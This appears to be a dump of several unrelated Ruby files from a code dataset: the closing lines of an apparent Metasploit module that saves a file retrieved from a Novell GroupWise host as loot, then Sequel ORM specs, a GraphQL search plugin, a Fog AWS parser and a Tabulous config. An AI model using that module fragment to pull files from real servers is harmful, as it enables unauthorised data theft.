fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'novell.groupwise',
'application/octet-stream',
ip,
contents,
fname
)
print_good("#{rhost}:#{rport} - File saved in: #{path}")
else
vprint_error("#{rhost}:#{rport} - Failed to retrieve file")
return
end
end
end
| 28.494253 | 99 | 0.578862 |
6adcfc5269138ee94de893f9a575a475b4ee0f29 | 30,826 | require_relative "spec_helper"
describe "Sequel::Model()" do
before do
@db = Sequel::Model.db
end
it "should return a model subclass with the given dataset if given a dataset" do
ds = @db[:blah]
c = Sequel::Model(ds)
c.superclass.must_equal Sequel::Model
c.dataset.row_proc.must_equal c
end
it "should return a model subclass with a dataset with the default database and given table name if given a Symbol" do
c = Sequel::Model(:blah)
c.superclass.must_equal Sequel::Model
c.db.must_equal @db
c.table_name.must_equal :blah
end
it "should return a model subclass with a dataset with the default database and given table name if given a LiteralString" do
c = Sequel::Model(Sequel.lit('blah'))
c.superclass.must_equal Sequel::Model
c.db.must_equal @db
c.table_name.must_equal Sequel.lit('blah')
end
it "should return a model subclass with a dataset with the default database and given table name if given an SQL::Identifier" do
c = Sequel::Model(Sequel.identifier(:blah))
c.superclass.must_equal Sequel::Model
c.db.must_equal @db
c.table_name.must_equal Sequel.identifier(:blah)
end
it "should return a model subclass with a dataset with the default database and given table name if given an SQL::QualifiedIdentifier" do
c = Sequel::Model(Sequel.qualify(:boo, :blah))
c.superclass.must_equal Sequel::Model
c.db.must_equal @db
c.table_name.must_equal Sequel.qualify(:boo, :blah)
end
it "should return a model subclass with a dataset with the default database and given table name if given an SQL::AliasedExpression" do
c = Sequel::Model(Sequel.as(:blah, :boo))
c.superclass.must_equal Sequel::Model
c.db.must_equal @db
c.table_name.must_equal :boo
end
it "should return a model subclass with the given dataset if given a dataset using an SQL::Identifier" do
ds = @db[Sequel.identifier(:blah)]
c = Sequel::Model(ds)
c.superclass.must_equal Sequel::Model
c.dataset.row_proc.must_equal c
end
it "should be callable on Sequel::Model" do
ds = @db[:blah]
c = Sequel::Model::Model(ds)
c.superclass.must_equal Sequel::Model
c.dataset.row_proc.must_equal c
end
it "should be callable on subclasses of Sequel::Model" do
ds = @db[:blah]
c = Class.new(Sequel::Model)
sc = c::Model(ds)
sc.superclass.must_equal c
sc.dataset.row_proc.must_equal sc
end
it "should be callable on other modules if def_Model is used" do
m = Module.new
Sequel::Model.def_Model(m)
ds = @db[:blah]
c = m::Model(ds)
c.superclass.must_equal Sequel::Model
c.dataset.row_proc.must_equal c
end
it "should be callable using model subclasses on other modules if def_Model is used" do
m = Module.new
c = Class.new(Sequel::Model)
c.def_Model(m)
ds = @db[:blah]
sc = m::Model(ds)
sc.superclass.must_equal c
sc.dataset.row_proc.must_equal sc
end
it "should return a model subclass associated to the given database if given a database" do
db = Sequel.mock
c = Sequel::Model(db)
c.superclass.must_equal Sequel::Model
c.db.must_equal db
proc{c.dataset}.must_raise(Sequel::Error)
class SmBlahTest < c
end
SmBlahTest.db.must_equal db
SmBlahTest.table_name.must_equal :sm_blah_tests
end
describe "reloading" do
before do
Sequel::Model.cache_anonymous_models = true
end
after do
Sequel::Model.cache_anonymous_models = false
Object.send(:remove_const, :Album) if defined?(::Album)
end
it "should work without raising an exception with a symbol" do
class ::Album < Sequel::Model(:table); end
class ::Album < Sequel::Model(:table); end
end
it "should work without raising an exception with an SQL::Identifier " do
class ::Album < Sequel::Model(Sequel.identifier(:table)); end
class ::Album < Sequel::Model(Sequel.identifier(:table)); end
end
it "should work without raising an exception with an SQL::QualifiedIdentifier " do
class ::Album < Sequel::Model(Sequel.qualify(:schema, :table)); end
class ::Album < Sequel::Model(Sequel.qualify(:schema, :table)); end
end
it "should work without raising an exception with an SQL::AliasedExpression" do
class ::Album < Sequel::Model(Sequel.as(:table, :alias)); end
class ::Album < Sequel::Model(Sequel.as(:table, :alias)); end
end
it "should work without raising an exception with an LiteralString" do
class ::Album < Sequel::Model(Sequel.lit('table')); end
class ::Album < Sequel::Model(Sequel.lit('table')); end
end
it "should work without raising an exception with a database" do
class ::Album < Sequel::Model(@db); end
class ::Album < Sequel::Model(@db); end
end
it "should work without raising an exception with a dataset" do
class ::Album < Sequel::Model(@db[:table]); end
class ::Album < Sequel::Model(@db[:table]); end
end
it "should work without raising an exception with a dataset with an SQL::Identifier" do
class ::Album < Sequel::Model(@db[Sequel.identifier(:table)]); end
class ::Album < Sequel::Model(@db[Sequel.identifier(:table)]); end
end
it "should raise an exception if anonymous model caching is disabled" do
Sequel::Model.cache_anonymous_models = false
proc do
class ::Album < Sequel::Model(@db[Sequel.identifier(:table)]); end
class ::Album < Sequel::Model(@db[Sequel.identifier(:table)]); end
end.must_raise TypeError
end
it "should use separate anonymous cache for subclasses" do
c = Class.new(Sequel::Model)
c.cache_anonymous_models.must_equal true
class ::Album < c::Model(:table); end
class ::Album < c::Model(:table); end
c1 = c::Model(:t1)
c1.must_equal c::Model(:t1)
c1.wont_equal Sequel::Model(:t1)
c.cache_anonymous_models = false
Sequel::Model.cache_anonymous_models.must_equal true
c1.wont_equal c::Model(:t1)
end
end
end
describe "Sequel::Model.freeze" do
it "should freeze the model class and not allow any changes" do
model = Class.new(Sequel::Model(:items))
model.freeze
model.frozen?.must_equal true
model.dataset.frozen?.must_equal true
model.db_schema.frozen?.must_equal true
model.db_schema[:id].frozen?.must_equal true
model.columns.frozen?.must_equal true
model.setter_methods.frozen?.must_equal true
model.send(:overridable_methods_module).frozen?.must_equal true
model.default_set_fields_options.frozen?.must_equal true
proc{model.dataset_module{}}.must_raise RuntimeError
end
it "should work if the model is already frozen" do
model = Class.new(Sequel::Model(:items))
model.freeze.freeze
end
it "should freeze a model class without a dataset without breaking" do
model = Class.new(Sequel::Model)
model.freeze
model.frozen?.must_equal true
proc{model.dataset}.must_raise Sequel::Error
model.db_schema.must_be_nil
model.columns.must_be_nil
model.setter_methods.must_equal []
model.send(:overridable_methods_module).frozen?.must_equal true
model.default_set_fields_options.frozen?.must_equal true
proc{model.dataset_module{}}.must_raise RuntimeError
end
it "should allow subclasses of frozen model classes to work correctly" do
model = Class.new(Sequel::Model(:items))
model.freeze
model = Class.new(model)
model.dataset = :items2
model.dataset_module{}
model.plugin Module.new
model.frozen?.must_equal false
model.db_schema.frozen?.must_equal false
model.db_schema[:id].frozen?.must_equal false
model.setter_methods.frozen?.must_equal false
model.dataset_module{}.frozen?.must_equal false
model.send(:overridable_methods_module).frozen?.must_equal false
model.default_set_fields_options.frozen?.must_equal false
end
end
describe Sequel::Model do
it "should have class method aliased as model" do
model_a = Class.new(Sequel::Model(:items))
model_a.new.model.must_be_same_as model_a
end
it "should be associated with a dataset" do
model_a = Class.new(Sequel::Model) { set_dataset DB[:as] }
model_a.dataset.must_be_kind_of(Sequel::Mock::Dataset)
model_a.dataset.opts[:from].must_equal [:as]
model_b = Class.new(Sequel::Model) { set_dataset DB[:bs] }
model_b.dataset.must_be_kind_of(Sequel::Mock::Dataset)
model_b.dataset.opts[:from].must_equal [:bs]
model_a.dataset.opts[:from].must_equal [:as]
end
end
describe Sequel::Model do
before do
@model = Class.new(Sequel::Model(:items))
DB.reset
end
it "should not allow dup/clone" do
proc{@model.dup}.must_raise NoMethodError
proc{@model.clone}.must_raise NoMethodError
end
it "has table_name return name of table" do
@model.table_name.must_equal :items
end
it "defaults to primary key of id" do
@model.primary_key.must_equal :id
end
it "allow primary key change" do
@model.set_primary_key :ssn
@model.primary_key.must_equal :ssn
end
it "allow not primary key change for frozen class" do
@model.freeze
proc{@model.set_primary_key :ssn}.must_raise RuntimeError
end
it "allows dataset change" do
@model.set_dataset(DB[:foo])
@model.table_name.must_equal :foo
end
it "allows frozen dataset" do
@model.set_dataset(DB[:foo].freeze)
@model.table_name.must_equal :foo
@model.dataset.sql.must_equal 'SELECT * FROM foo'
end
it "table_name should respect table aliases" do
@model.set_dataset(Sequel[:foo].as(:x))
@model.table_name.must_equal :x
end
with_symbol_splitting "table_name should respect table alias symbols" do
@model.set_dataset(:foo___x)
@model.table_name.must_equal :x
end
it "set_dataset should raise an error unless given a Symbol or Dataset" do
proc{@model.set_dataset(Object.new)}.must_raise(Sequel::Error)
end
it "set_dataset should use a subquery for joined datasets" do
@model.set_dataset(DB.from(:foo, :bar))
@model.dataset.sql.must_equal 'SELECT * FROM (SELECT * FROM foo, bar) AS foo'
@model.set_dataset(DB[:foo].cross_join(:bar))
@model.dataset.sql.must_equal 'SELECT * FROM (SELECT * FROM foo CROSS JOIN bar) AS foo'
end
it "set_dataset should add the destroy method to the dataset that destroys each object" do
ds = DB[:foo]
ds.wont_respond_to(:destroy)
ds = @model.set_dataset(ds).dataset
ds.must_respond_to(:destroy)
DB.sqls
ds.with_fetch([{:id=>1}, {:id=>2}]).destroy.must_equal 2
DB.sqls.must_equal ["SELECT * FROM foo", "DELETE FROM foo WHERE id = 1", "DELETE FROM foo WHERE id = 2"]
end
it "set_dataset should add the destroy method that respects sharding with transactions" do
db = Sequel.mock(:servers=>{:s1=>{}})
ds = db[:foo].server(:s1)
@model.use_transactions = true
ds = @model.set_dataset(ds).dataset
db.sqls
ds.destroy.must_equal 0
db.sqls.must_equal ["BEGIN -- s1", "SELECT * FROM foo -- s1", "COMMIT -- s1"]
end
it "should raise an error on set_dataset if there is an error connecting to the database" do
def @model.columns() raise Sequel::DatabaseConnectionError end
proc{@model.set_dataset(Sequel::Database.new[:foo].join(:blah).from_self)}.must_raise Sequel::DatabaseConnectionError
end
it "should not raise an error if there is a problem getting the columns for a dataset" do
def @model.columns() raise Sequel::Error end
@model.set_dataset(DB[:foo].join(:blah).from_self)
end
it "doesn't raise an error on set_dataset if there is an error raised getting the schema" do
db = Sequel.mock
def db.schema(*) raise Sequel::Error; end
@model.set_dataset(db[:foo])
end
it "reload_db_schema? should be false by default" do
c = Class.new
c.extend Sequel::Model::ClassMethods
c.send(:reload_db_schema?).must_equal false
end
it "doesn't raise an error on inherited if there is an error setting the dataset" do
db = Sequel.mock
def db.schema(*) raise Sequel::Error; end
@model.dataset = db[:foo]
Class.new(@model)
end
it "uses a savepoint if inside a transaction when getting the columns" do
db = Sequel.mock
def db.supports_savepoints?; true end
Sequel::Model(db[:table])
db.sqls.must_equal ["SELECT * FROM table LIMIT 1"]
db.transaction{Sequel::Model(db[:table])}
db.sqls.must_equal ["BEGIN", "SAVEPOINT autopoint_1", "SELECT * FROM table LIMIT 1", "RELEASE SAVEPOINT autopoint_1", "COMMIT"]
end
it "should raise if bad inherited instance variable value is used" do
def @model.inherited_instance_variables() super.merge(:@a=>:foo) end
@model.instance_eval{@a=1}
proc{Class.new(@model)}.must_raise(Sequel::Error)
end
it "copy inherited instance variables into subclass if set" do
def @model.inherited_instance_variables() super.merge(:@a=>nil, :@b=>:dup, :@c=>:hash_dup, :@d=>proc{|v| v * 2}) end
@model.instance_eval{@a=1; @b=[2]; @c={3=>[4]}; @d=10}
m = Class.new(@model)
@model.instance_eval{@a=5; @b << 6; @c[3] << 7; @c[8] = [9]; @d=40}
m.instance_eval do
@a.must_equal 1
@b.must_equal [2]
@c.must_equal(3=>[4])
@d.must_equal 20
end
end
it "set_dataset should readd dataset method modules" do
m = Module.new
@model.dataset_module(m)
@model.set_dataset(@model.dataset)
@model.dataset.singleton_class.ancestors.must_include m
end
end
describe Sequel::Model do
before do
@model = Class.new(Sequel::Model)
DB.reset
end
it "allows set_dataset to accept a Symbol" do
@model.set_dataset(:foo)
@model.table_name.must_equal :foo
end
it "allows set_dataset to accept a LiteralString" do
@model.set_dataset(Sequel.lit('foo'))
@model.table_name.must_equal Sequel.lit('foo')
end
it "allows set_dataset to acceptan SQL::Identifier" do
@model.set_dataset(Sequel.identifier(:foo))
@model.table_name.must_equal Sequel.identifier(:foo)
end
it "allows set_dataset to acceptan SQL::QualifiedIdentifier" do
@model.set_dataset(Sequel.qualify(:bar, :foo))
@model.table_name.must_equal Sequel.qualify(:bar, :foo)
end
it "allows set_dataset to acceptan SQL::AliasedExpression" do
@model.set_dataset(Sequel.as(:foo, :bar))
@model.table_name.must_equal :bar
end
end
describe Sequel::Model, ".require_valid_table = true" do
before do
@db = Sequel.mock
@db.columns = proc do |sql|
raise Sequel::Error if sql =~ /foos/
[:id]
end
def @db.supports_schema_parsing?; true end
def @db.schema(t, *) t.first_source == :foos ? (raise Sequel::Error) : [[:id, {}]] end
Sequel::Model.db = @db
Sequel::Model.require_valid_table = true
end
after do
Sequel::Model.require_valid_table = false
Sequel::Model.db = DB
if Object.const_defined?(:Bar)
Object.send(:remove_const, :Bar)
end
if Object.const_defined?(:Foo)
Object.send(:remove_const, :Foo)
end
end
it "should raise an exception when creating a model with an invalid implicit table" do
proc{class ::Foo < Sequel::Model; end}.must_raise Sequel::Error
end
it "should not raise an exception when creating a model with a valid implicit table" do
class ::Bar < Sequel::Model; end
Bar.columns.must_equal [:id]
end
it "should raise an exception when creating a model with an invalid explicit table" do
proc{Sequel::Model(@db[:foos])}.must_raise Sequel::Error
end
it "should not raise an exception when creating a model with a valid explicit table" do
c = Sequel::Model(@db[:bars])
c.columns.must_equal [:id]
end
it "should raise an exception when calling set_dataset with an invalid table" do
c = Class.new(Sequel::Model)
proc{c.set_dataset @db[:foos]}.must_raise Sequel::Error
end
it "should not raise an exception when calling set_dataset with an valid table" do
c = Class.new(Sequel::Model)
c.set_dataset @db[:bars]
c.columns.must_equal [:id]
end
it "should assume nil value is the same as false" do
c = Class.new(Sequel::Model)
c.require_valid_table = nil
ds = @db.dataset.with_extend{def columns; raise Sequel::Error; end}
c.set_dataset(ds)
end
end
describe Sequel::Model, "constructors" do
before do
@m = Class.new(Sequel::Model)
@m.columns :a, :b
end
it "should accept a hash" do
m = @m.new(:a => 1, :b => 2)
m.values.must_equal(:a => 1, :b => 2)
m.must_be :new?
end
it "should accept a block and yield itself to the block" do
block_called = false
m = @m.new {|i| block_called = true; i.must_be_kind_of(@m); i.values[:a] = 1}
block_called.must_equal true
m.values[:a].must_equal 1
end
it "should have dataset row_proc create an existing object" do
@m.dataset = Sequel.mock.dataset
o = @m.dataset.row_proc.call(:a=>1)
o.must_be_kind_of(@m)
o.values.must_equal(:a=>1)
o.new?.must_equal false
end
it "should have .call create an existing object" do
o = @m.call(:a=>1)
o.must_be_kind_of(@m)
o.values.must_equal(:a=>1)
o.new?.must_equal false
end
it "should have .load create an existing object" do
o = @m.load(:a=>1)
o.must_be_kind_of(@m)
o.values.must_equal(:a=>1)
o.new?.must_equal false
end
end
describe Sequel::Model, "new" do
before do
@m = Class.new(Sequel::Model) do
set_dataset DB[:items]
columns :x, :id
end
end
it "should be marked as new?" do
o = @m.new
o.must_be :new?
end
it "should not be marked as new? once it is saved" do
o = @m.new(:x => 1)
o.must_be :new?
o.save
o.wont_be :new?
end
it "should use the last inserted id as primary key if not in values" do
@m.dataset = @m.dataset.with_fetch(:x => 1, :id => 1234).with_autoid(1234)
o = @m.new(:x => 1)
o.save
o.id.must_equal 1234
o = @m.load(:x => 1, :id => 333)
o.save
o.id.must_equal 333
end
end
describe Sequel::Model, ".find" do
before do
@c = Class.new(Sequel::Model(:items))
@c.dataset = @c.dataset.with_fetch(:name => 'sharon', :id => 1)
DB.reset
end
it "should return the first record matching the given filter" do
@c.find(:name => 'sharon').must_be_kind_of(@c)
DB.sqls.must_equal ["SELECT * FROM items WHERE (name = 'sharon') LIMIT 1"]
@c.find(Sequel.expr(:name).like('abc%')).must_be_kind_of(@c)
DB.sqls.must_equal ["SELECT * FROM items WHERE (name LIKE 'abc%' ESCAPE '\\') LIMIT 1"]
end
it "should accept filter blocks" do
@c.find{id > 1}.must_be_kind_of(@c)
DB.sqls.must_equal ["SELECT * FROM items WHERE (id > 1) LIMIT 1"]
@c.find{(x > 1) & (y < 2)}.must_be_kind_of(@c)
DB.sqls.must_equal ["SELECT * FROM items WHERE ((x > 1) AND (y < 2)) LIMIT 1"]
end
end
describe Sequel::Model, ".fetch" do
before do
DB.reset
@c = Class.new(Sequel::Model(:items))
end
it "should return instances of Model" do
@c.fetch("SELECT * FROM items").first.must_be_kind_of(@c)
end
it "should return true for .empty? and not raise an error on empty selection" do
@c.dataset = @c.dataset.with_extend do
def fetch_rows(sql)
yield({:count => 0})
end
end
@c.fetch("SELECT * FROM items WHERE FALSE").empty?
end
end
describe Sequel::Model, ".find_or_create" do
before do
@db = Sequel.mock
@c = Class.new(Sequel::Model(@db[:items])) do
set_primary_key :id
columns :x
end
@db.sqls
end
it "should find the record" do
@db.fetch = [{:x=>1, :id=>1}]
@db.autoid = 1
@c.find_or_create(:x => 1).must_equal @c.load(:x=>1, :id=>1)
@db.sqls.must_equal ["SELECT * FROM items WHERE (x = 1) LIMIT 1"]
end
it "should create the record if not found" do
@db.fetch = [[], {:x=>1, :id=>1}]
@db.autoid = 1
@c.find_or_create(:x => 1).must_equal @c.load(:x=>1, :id=>1)
@db.sqls.must_equal ["SELECT * FROM items WHERE (x = 1) LIMIT 1",
"INSERT INTO items (x) VALUES (1)",
"SELECT * FROM items WHERE id = 1"]
end
it "should pass the new record to be created to the block if no record is found" do
@db.fetch = [[], {:x=>1, :id=>1}]
@db.autoid = 1
@c.find_or_create(:x => 1){|x| x[:y] = 2}.must_equal @c.load(:x=>1, :id=>1)
@db.sqls.must_equal ["SELECT * FROM items WHERE (x = 1) LIMIT 1",
"INSERT INTO items (x, y) VALUES (1, 2)",
"SELECT * FROM items WHERE id = 1"]
end
end
describe Sequel::Model, ".all" do
it "should return all records in the dataset" do
c = Class.new(Sequel::Model(:items))
c.all.must_equal [c.load(:x=>1, :id=>1)]
end
end
describe Sequel::Model, "A model class without a primary key" do
before do
@c = Class.new(Sequel::Model(:items)) do
columns :x
no_primary_key
end
DB.reset
end
it "should be able to insert records without selecting them back" do
i = nil
i = @c.create(:x => 1)
i.class.wont_be_nil
i.values.to_hash.must_equal(:x => 1)
DB.sqls.must_equal ['INSERT INTO items (x) VALUES (1)']
end
it "should raise when deleting" do
proc{@c.load(:x=>1).delete}.must_raise Sequel::Error
end
it "should raise when updating" do
proc{@c.load(:x=>1).update(:x=>2)}.must_raise Sequel::Error
end
it "should insert a record when saving" do
o = @c.new(:x => 2)
o.must_be :new?
o.save
DB.sqls.must_equal ['INSERT INTO items (x) VALUES (2)']
end
end
describe Sequel::Model, "attribute accessors" do
before do
db = Sequel.mock
def db.supports_schema_parsing?() true end
def db.schema(*)
[[:x, {:type=>:integer}], [:z, {:type=>:integer}]]
end
@dataset = db[:items].columns(:x, :z)
@c = Class.new(Sequel::Model)
DB.reset
end
it "should be created on set_dataset" do
a = [:x, :z, :x= ,:z=]
(a - @c.instance_methods).must_equal a
@c.set_dataset(@dataset)
(a - @c.instance_methods).must_equal []
o = @c.new
(a - o.methods).must_equal []
o.x.must_be_nil
o.x = 34
o.x.must_equal 34
end
it "should be only accept one argument for the write accessor" do
@c.set_dataset(@dataset)
o = @c.new
o.x = 34
o.x.must_equal 34
proc{o.send(:x=)}.must_raise ArgumentError
proc{o.send(:x=, 3, 4)}.must_raise ArgumentError
end
it "should have a working typecasting setter even if the column is not selected" do
@c.set_dataset(@dataset.select(:z).columns(:z))
o = @c.new
o.x = '34'
o.x.must_equal 34
end
it "should typecast if the new value is the same as the existing but has a different class" do
@c.set_dataset(@dataset.select(:z).columns(:z))
o = @c.new
o.x = 34
o.x = 34.0
o.x.must_equal 34.0
o.x = 34
o.x.must_equal 34
end
end
describe Sequel::Model, ".[]" do
before do
@c = Class.new(Sequel::Model(:items))
@c.dataset = @c.dataset.with_fetch(:name => 'sharon', :id => 1)
DB.reset
end
it "should return the first record for the given pk" do
@c[1].must_equal @c.load(:name => 'sharon', :id => 1)
DB.sqls.must_equal ["SELECT * FROM items WHERE id = 1"]
@c[9999].must_equal @c.load(:name => 'sharon', :id => 1)
DB.sqls.must_equal ["SELECT * FROM items WHERE id = 9999"]
end
it "should have #[] return nil if no rows match" do
@c.dataset = @c.dataset.with_fetch([])
@c[1].must_be_nil
DB.sqls.must_equal ["SELECT * FROM items WHERE id = 1"]
end
it "should work correctly for custom primary key" do
@c.set_primary_key :name
@c['sharon'].must_equal @c.load(:name => 'sharon', :id => 1)
DB.sqls.must_equal ["SELECT * FROM items WHERE name = 'sharon'"]
end
it "should handle a dataset that uses a subquery" do
@c.dataset = @c.dataset.cross_join(:a).from_self(:alias=>:b)
@c[1].must_equal @c.load(:name => 'sharon', :id => 1)
DB.sqls.must_equal ["SELECT * FROM (SELECT * FROM items CROSS JOIN a) AS b WHERE (id = 1) LIMIT 1"]
end
it "should work correctly for composite primary key specified as array" do
@c.set_primary_key [:node_id, :kind]
@c[3921, 201].must_be_kind_of(@c)
DB.sqls.must_equal ['SELECT * FROM items WHERE ((node_id = 3921) AND (kind = 201)) LIMIT 1']
end
end
describe "Model#inspect" do
it "should include the class name and the values" do
Sequel::Model.load(:x => 333).inspect.must_equal '#<Sequel::Model @values={:x=>333}>'
end
end
describe "Model.db_schema" do
before do
@c = Class.new(Sequel::Model(:items)) do
def self.columns; orig_columns; end
end
@db = Sequel.mock
def @db.supports_schema_parsing?() true end
@dataset = @db[:items]
end
it "should not call database's schema if it isn't supported" do
@db.singleton_class.send(:remove_method, :supports_schema_parsing?)
def @db.supports_schema_parsing?() false end
def @db.schema(table, opts = {})
raise Sequel::Error
end
@dataset = @dataset.with_extend do
def columns
[:x, :y]
end
end
@c.dataset = @dataset
@c.db_schema.must_equal(:x=>{}, :y=>{})
@c.columns.must_equal [:x, :y]
@c.instance_eval{@db_schema = nil}
@c.db_schema.must_equal(:x=>{}, :y=>{})
@c.columns.must_equal [:x, :y]
end
it "should use the database's schema and set the columns and dataset columns" do
def @db.schema(table, opts = {})
[[:x, {:type=>:integer}], [:y, {:type=>:string}]]
end
@c.dataset = @dataset
@c.db_schema.must_equal(:x=>{:type=>:integer}, :y=>{:type=>:string})
@c.columns.must_equal [:x, :y]
@c.dataset.columns.must_equal [:x, :y]
end
it "should not restrict the schema for datasets with a :select option" do
@c.singleton_class.send(:remove_method, :columns)
def @c.columns; [:x, :z]; end
def @db.schema(table, opts = {})
[[:x, {:type=>:integer}], [:y, {:type=>:string}]]
end
@c.dataset = @dataset.select(:x, :y___z)
@c.db_schema.must_equal(:x=>{:type=>:integer}, :z=>{}, :y=>{:type=>:string})
end
it "should not raise error if setting dataset where getting schema and columns raises an error and require_valid_table is false" do
@c.require_valid_table = false
def @db.schema(table, opts={})
raise Sequel::Error
end
@c.dataset = @dataset.join(:x, :id).from_self.columns(:id, :x)
@c.db_schema.must_equal(:x=>{}, :id=>{})
end
it "should raise error if setting dataset where getting schema and columns raises an error and require_valid_table is true" do
@c.require_valid_table = true
def @db.schema(table, opts={})
raise Sequel::Error
end
@c.dataset = @dataset.join(:x, :id).from_self.columns(:id, :x)
@c.db_schema.must_equal(:x=>{}, :id=>{})
end
it "should use dataset columns if getting schema raises an error and require_valid_table is false" do
@c.require_valid_table = false
def @db.schema(table, opts={})
raise Sequel::Error
end
@c.dataset = @dataset.join(:x, :id).from_self.columns(:id, :x)
@c.db_schema.must_equal(:x=>{}, :id=>{})
end
it "should use dataset columns if getting schema raises an error and require_valid_table is true" do
@c.require_valid_table = true
def @db.schema(table, opts={})
raise Sequel::Error
end
@c.dataset = @dataset.join(:x, :id).from_self.columns(:id, :x)
@c.db_schema.must_equal(:x=>{}, :id=>{})
end
it "should automatically set a singular primary key based on the schema" do
ds = @dataset
d = ds.db
def d.schema(table, *opts) [[:x, {:primary_key=>true}]] end
@c.primary_key.must_equal :id
@c.dataset = ds
@c.db_schema.must_equal(:x=>{:primary_key=>true})
@c.primary_key.must_equal :x
end
it "should automatically set a singular primary key even if there are specific columns selected" do
ds = @dataset.select(:a, :b, :x)
d = ds.db
def d.schema(table, *opts) [[:a, {:primary_key=>false}], [:b, {:primary_key=>false}], [:x, {:primary_key=>true}]] end
@c.primary_key.must_equal :id
@c.dataset = ds
@c.db_schema.must_equal(:a=>{:primary_key=>false}, :b=>{:primary_key=>false}, :x=>{:primary_key=>true})
@c.primary_key.must_equal :x
end
it "should automatically set the composite primary key based on the schema" do
ds = @dataset
d = ds.db
def d.schema(table, *opts) [[:x, {:primary_key=>true}], [:y, {:primary_key=>true}]] end
@c.primary_key.must_equal :id
@c.dataset = ds
@c.db_schema.must_equal(:x=>{:primary_key=>true}, :y=>{:primary_key=>true})
@c.primary_key.must_equal [:x, :y]
end
it "should set an immutable composite primary key based on the schema" do
ds = @dataset
d = ds.db
def d.schema(table, *opts) [[:x, {:primary_key=>true}], [:y, {:primary_key=>true}]] end
@c.dataset = ds
@c.primary_key.must_equal [:x, :y]
proc{@c.primary_key.pop}.must_raise
end
it "should automatically set no primary key based on the schema" do
ds = @dataset
d = ds.db
def d.schema(table, *opts) [[:x, {:primary_key=>false}], [:y, {:primary_key=>false}]] end
@c.primary_key.must_equal :id
@c.dataset = ds
@c.db_schema.must_equal(:x=>{:primary_key=>false}, :y=>{:primary_key=>false})
@c.primary_key.must_be_nil
end
it "should automatically set primary key for dataset selecting table.*" do
ds = @dataset.select_all(:items)
d = ds.db
def d.schema(table, *opts) [[:x, {:primary_key=>true}]] end
@c.primary_key.must_equal :id
@c.dataset = ds
@c.db_schema.must_equal(:x=>{:primary_key=>true})
@c.primary_key.must_equal :x
end
it "should not modify the primary key unless all column schema hashes have a :primary_key entry" do
ds = @dataset
d = ds.db
def d.schema(table, *opts) [[:x, {:primary_key=>false}], [:y, {}]] end
@c.primary_key.must_equal :id
@c.dataset = ds
@c.db_schema.must_equal(:x=>{:primary_key=>false}, :y=>{})
@c.primary_key.must_equal :id
end
it "should return nil if the class has no dataset" do
Class.new(Sequel::Model).db_schema.must_be_nil
end
end
describe "Model#use_transactions" do
before do
@c = Class.new(Sequel::Model(:items))
end
it "should return class value by default" do
@c.use_transactions = true
@c.new.use_transactions.must_equal true
@c.use_transactions = false
@c.new.use_transactions.must_equal false
end
it "should return set value if manually set" do
instance = @c.new
instance.use_transactions = false
instance.use_transactions.must_equal false
@c.use_transactions = true
instance.use_transactions.must_equal false
instance.use_transactions = true
instance.use_transactions.must_equal true
@c.use_transactions = false
instance.use_transactions.must_equal true
end
end
| 31.61641 | 139 | 0.664439 |
0384c741cd1d3e6f3982c05556d485daeee1ba56 | 2,052 | # frozen_string_literal: true
module SearchObject
module Plugin
module Graphql
def self.included(base)
raise NotIncludedInResolverError, base unless base.ancestors.include? GraphQL::Schema::Resolver
base.include SearchObject::Plugin::Enum
base.extend ClassMethods
end
attr_reader :object, :context
def initialize(filters: {}, object: nil, context: {}, scope: nil, field: nil)
@object = object
@context = context
super filters: filters, scope: scope, field: field
end
# NOTE(rstankov): GraphQL::Schema::Resolver interface
# Documentation - http://graphql-ruby.org/fields/resolvers.html#using-resolver
def resolve_with_support(args = {})
self.params = args.to_h
results
end
module ClassMethods
def option(name, options = {}, &block)
type = options.fetch(:type) { raise MissingTypeDefinitionError, name }
argument_options = { required: options[:required] || false }
argument_options[:camelize] = options[:camelize] if options.include?(:camelize)
argument_options[:default_value] = options[:default] if options.include?(:default)
argument_options[:description] = options[:description] if options.include?(:description)
argument(name.to_s, type, **argument_options)
options[:enum] = type.values.map { |value, enum_value| enum_value.value || value } if type.respond_to?(:values)
super(name, options, &block)
end
def types
GraphQL::Define::TypeDefiner.instance
end
end
class NotIncludedInResolverError < ArgumentError
def initialize(base)
super "#{base.name} should inherit from GraphQL::Schema::Resolver. Current ancestors #{base.ancestors}"
end
end
class MissingTypeDefinitionError < ArgumentError
def initialize(name)
super "GraphQL type has to passed as :type to '#{name}' option"
end
end
end
end
end
| 32.0625 | 121 | 0.647661 |
01abd2891e96bff343d029ecdff521750e9ceacb | 464 | module Fog
module Parsers
module AWS
module Elasticache
require 'fog/aws/parsers/elasticache/cache_cluster_parser'
class SingleCacheCluster < CacheClusterParser
def end_element(name)
case name
when 'CacheCluster'
@response[name] = @cache_cluster
reset_cache_cluster
else
super
end
end
end
end
end
end
end
| 21.090909 | 66 | 0.551724 |
18e5d3f09eb1a167ab1b05a885a4edaaece89e3c | 194 | require 'spec_helper'
describe CurationConcern::ImageActor do
# Can't include this spec because Image doesn't have linked_resources
#include_examples 'is_a_curation_concern_actor', Etd
end
| 27.714286 | 71 | 0.819588 |
620dee4626cf2d9c437e15afa82a00ecdc841930 | 9,010 | # Tabulous gives you an easy way to set up tabs for your Rails application.
#
# 1. Configure this file.
# 2. Add <%= tabs %> and <%= subtabs %> in your layout(s) wherever you want
# your tabs to appear.
# 3. Add styles for these tabs in your stylesheets.
# 4. Profit!
Tabulous.setup do |config|
#---------------------------
# HOW TO USE THE TABLES
#---------------------------
#
# The following tables are just an array of arrays. As such, you can put
# any Ruby code into a cell. For example, you could put "/foo/bar" in
# a path cell or you could put "/foo" + "/bar". You can even wrap up code
# in a lambda to be executed later. These will be executed in the context
# of a Rails view meaning they will have access to view helpers.
#
# However, there is something special about the format of these tables.
# Because it would be a pain for you to manually prettify the tables each
# time you edit them, there is a special rake task that does this for
# you: rake tabs:format. However, for this prettifier to work properly
# you have to follow some special rules:
#
# * No comments are allowed between rows.
# * Comments are allowed to the right of rows, except for header rows.
# * The start of a table is signified by a [ all by itself on a line.
# * The end of a table is signified by a ] all by itself on a line.
# * And most importantly: commas that separate cells should be surrounded
# by spaces and commas that are within cells should not. This gives the
# formatter an easy way to distinguish between cells without having
# to actually parse the Ruby.
#----------
# TABS
#----------
#
# This is where you define your tabs and subtabs. The order that the tabs
# appear in this list is the order they will appear in your views. Any
# subtabs defined will have the previous tab as their parent.
#
# TAB NAME
# must end in _tab or _subtab
# DISPLAY TEXT
# the text the user sees on the tab
# PATH
# the URL that gets sent to the server when the tab is clicked
# VISIBLE
# whether to display the tab
# ENABLED
# whether the tab is disabled (unclickable)
config.tabs do
[
